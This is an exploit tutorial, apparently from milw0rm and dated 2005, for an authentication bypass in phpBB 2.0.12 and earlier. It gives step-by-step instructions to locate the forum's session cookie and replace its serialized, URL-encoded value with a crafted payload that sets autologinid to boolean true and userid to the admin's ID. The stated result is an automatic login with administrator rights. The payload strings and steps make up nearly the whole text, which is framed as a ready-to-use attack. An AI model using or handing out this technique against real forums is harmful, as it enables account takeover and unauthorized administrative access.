phpBB <= 2.0.12 Session Handling Authentication Bypass (tutorial)

                                                1. Register at forum?

2. Log in with account
  + UNCHECK "Log in automatically"

3. Close browser to be sure a cookie is made.

4. Locate cookie
    *firefox: X:\Documents and Settings\Name\Application
     Data\Mozilla\Firefox\Profiles\profile.default\cookies.txt
     --> search the .txt for the domainname (domain.tld)
     --> default cookiename = phpbbmysql
    *iexplorer: X:\Documents and Settings\Name\Cookies\[email protected]
     --> default cookiename = phpbbmysql

Let's Xploit!
________________

Open the cookie in a text editor and search a line that resembles:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

       a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3B
       s%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D

                                         |
                  [ your 'user id' ] ____|

Replace this with:

       a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B
       s%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

                                         |
          [ 2 = 'user id' of admin ] ____|

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Save cookie and close.
Open your browser and surf to forum.

You'll now be automatically logged in having admin right :)

# milw0rm.com [2005-03-05]